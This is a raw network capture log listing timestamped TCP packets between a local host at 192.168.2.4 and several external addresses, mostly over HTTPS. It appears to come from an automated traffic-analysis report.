Nov 19, 2024 19:14:31.510881901 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.510958910 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.510976076 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.511006117 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.511010885 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.511099100 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.511163950 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.515610933 CET	49763	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.515647888 CET	443	49763	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.528495073 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.528557062 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.581253052 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.597526073 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.597552061 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.597560883 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.597578049 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.597587109 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.597615004 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.597654104 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.597692966 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.597712994 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.597738028 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.686461926 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.686477900 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.686505079 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.686567068 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.686646938 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.686692953 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.687043905 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.688674927 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.688697100 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.688771009 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.688798904 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.693732977 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.711555004 CET	443	49768	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:31.711749077 CET	49768	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:31.776007891 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.776035070 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.776128054 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.776154995 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.776170969 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.777420998 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.777442932 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.777473927 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.777482986 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.777499914 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.777528048 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.778395891 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.778414011 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.778476954 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.778489113 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.779680967 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.818788052 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.818816900 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.818872929 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.818907976 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.818926096 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.819345951 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.834343910 CET	49768	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:31.834362030 CET	443	49768	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:31.834726095 CET	443	49768	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:31.866662025 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.866692066 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.866740942 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.866776943 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.866796017 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.867043972 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.867813110 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.867836952 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.867880106 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.867897034 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.867923021 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.867945910 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.869543076 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.869565010 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.869636059 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.869652033 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.869699001 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.869699001 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.870609045 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.870630026 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.870682955 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.870696068 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.870726109 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.870742083 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.871023893 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.872315884 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.872334003 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.872437954 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.872448921 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.872776985 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.873179913 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.873218060 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.873239040 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.873250008 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.873266935 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.873270988 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.873308897 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.885288954 CET	49768	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:31.890676975 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.890958071 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.903304100 CET	49767	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:31.903341055 CET	443	49767	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:31.927324057 CET	443	49768	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:32.098630905 CET	443	49768	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:32.098706007 CET	443	49768	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:32.098855972 CET	49768	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:32.098890066 CET	443	49768	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:32.098916054 CET	49768	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:32.098922968 CET	443	49768	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:32.150074959 CET	49774	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:32.150105953 CET	443	49774	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:32.150186062 CET	49774	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:32.150782108 CET	49774	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:32.150798082 CET	443	49774	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:32.598428965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:32.859117031 CET	443	49774	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:32.859205961 CET	49774	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:32.861787081 CET	49774	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:32.861804962 CET	443	49774	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:32.862071991 CET	443	49774	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:32.863502979 CET	49774	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:32.911328077 CET	443	49774	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:33.198081017 CET	443	49774	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:33.198409081 CET	443	49774	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:33.198484898 CET	49774	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:33.204464912 CET	49774	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:33.204479933 CET	443	49774	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:33.204492092 CET	49774	443	192.168.2.4	184.28.90.27
Nov 19, 2024 19:14:33.204499006 CET	443	49774	184.28.90.27	192.168.2.4
Nov 19, 2024 19:14:40.978467941 CET	443	49762	142.250.186.68	192.168.2.4
Nov 19, 2024 19:14:40.978545904 CET	443	49762	142.250.186.68	192.168.2.4
Nov 19, 2024 19:14:40.978605986 CET	49762	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:14:41.063096046 CET	49762	443	192.168.2.4	142.250.186.68
Nov 19, 2024 19:14:41.063123941 CET	443	49762	142.250.186.68	192.168.2.4
Nov 19, 2024 19:14:57.684168100 CET	49842	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:57.684206963 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:57.684366941 CET	49842	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:57.685014009 CET	49842	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:57.685029984 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:58.444829941 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:58.444988012 CET	49842	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:58.446687937 CET	49842	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:58.446695089 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:58.446953058 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:58.464988947 CET	49842	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:58.507380962 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:58.533909082 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:58.533966064 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:58.534101009 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:58.534580946 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:58.534595966 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:58.765249014 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:58.765275955 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:58.765290976 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:58.765446901 CET	49842	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:58.765465021 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:58.765633106 CET	49842	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:58.765790939 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:58.765824080 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:58.765870094 CET	49842	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:58.765870094 CET	49842	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:58.765877962 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:58.766294003 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:58.766433954 CET	49842	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:58.772108078 CET	49842	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:58.772121906 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:58.772156000 CET	49842	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:58.772161961 CET	443	49842	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:59.181898117 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.181982040 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.183711052 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.183723927 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.183974981 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.192585945 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.239331961 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.298655033 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.298683882 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.298721075 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.298738003 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.298763990 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.298779011 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.298806906 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.383281946 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.383302927 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.383343935 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.383356094 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.383390903 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.383409023 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.384989023 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.385008097 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.385046005 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.385054111 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.385083914 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.385102034 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.468952894 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.468982935 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.469048023 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.469075918 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.469091892 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.469214916 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.469983101 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.470001936 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.470058918 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.470063925 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.470108986 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.471764088 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.471781015 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.471842051 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.471847057 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.471887112 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.472884893 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.472903013 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.472961903 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.472980976 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.473042011 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.558603048 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.558626890 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.558711052 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.558731079 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.558769941 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.559318066 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.559331894 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.559398890 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.559405088 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.559438944 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.560086966 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.560101986 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.560185909 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.560211897 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.560257912 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.560986042 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.561000109 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.561093092 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.561098099 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.561135054 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.561917067 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.561932087 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.562006950 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.562012911 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.562052011 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.562875032 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.562890053 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.562928915 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.562962055 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.562967062 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.562987089 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.563013077 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.563098907 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.563119888 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.563132048 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.563132048 CET	49843	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.563138962 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.563143969 CET	443	49843	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.922301054 CET	49844	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.922348976 CET	443	49844	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.922370911 CET	49845	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.922425032 CET	49844	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.922457933 CET	443	49845	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.922806025 CET	49845	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.923254967 CET	49844	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.923268080 CET	443	49844	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.924099922 CET	49846	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.924109936 CET	443	49846	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.924262047 CET	49845	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.924292088 CET	49846	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.924309969 CET	443	49845	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.924384117 CET	49846	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.924396992 CET	443	49846	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.925493956 CET	49847	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.925523043 CET	443	49847	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.925656080 CET	49847	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.925760031 CET	49847	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.925775051 CET	443	49847	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.926162004 CET	49848	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.926237106 CET	443	49848	13.107.246.45	192.168.2.4
Nov 19, 2024 19:14:59.926428080 CET	49848	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.926672935 CET	49848	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:14:59.926711082 CET	443	49848	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.570462942 CET	443	49845	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.570988894 CET	49845	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.571053982 CET	443	49845	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.571510077 CET	49845	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.571528912 CET	443	49845	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.598745108 CET	443	49846	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.599284887 CET	49846	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.599334955 CET	443	49846	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.599766970 CET	49846	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.599780083 CET	443	49846	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.605452061 CET	443	49844	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.605890989 CET	49844	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.605916977 CET	443	49844	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.606333971 CET	49844	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.606345892 CET	443	49844	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.630021095 CET	443	49848	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.630903959 CET	49848	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.630930901 CET	443	49848	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.631629944 CET	49848	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.631635904 CET	443	49848	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.670005083 CET	443	49845	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.670032024 CET	443	49845	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.670104980 CET	49845	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.670146942 CET	443	49845	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.670269012 CET	49845	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.670330048 CET	49845	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.670352936 CET	443	49845	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.670388937 CET	49845	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.670556068 CET	443	49845	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.670593023 CET	443	49845	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.670649052 CET	49845	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.673779011 CET	49849	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.673815966 CET	443	49849	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.673881054 CET	49849	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.674777031 CET	49849	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.674792051 CET	443	49849	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.697479963 CET	443	49846	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.697550058 CET	443	49846	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.697663069 CET	49846	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.697689056 CET	443	49846	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.697750092 CET	49846	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.697796106 CET	443	49846	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.697912931 CET	443	49846	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.698426962 CET	49846	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.698775053 CET	49846	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.698807001 CET	443	49846	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.698863983 CET	49846	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.698879957 CET	443	49846	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.702795029 CET	49850	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.702826977 CET	443	49850	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.702887058 CET	49850	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.703090906 CET	49850	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.703105927 CET	443	49850	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.716398001 CET	443	49844	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.716479063 CET	443	49844	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.716552019 CET	49844	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.716645002 CET	49844	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.716645002 CET	49844	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.716665983 CET	443	49844	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.716687918 CET	443	49844	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.719301939 CET	443	49847	13.107.246.45	192.168.2.4
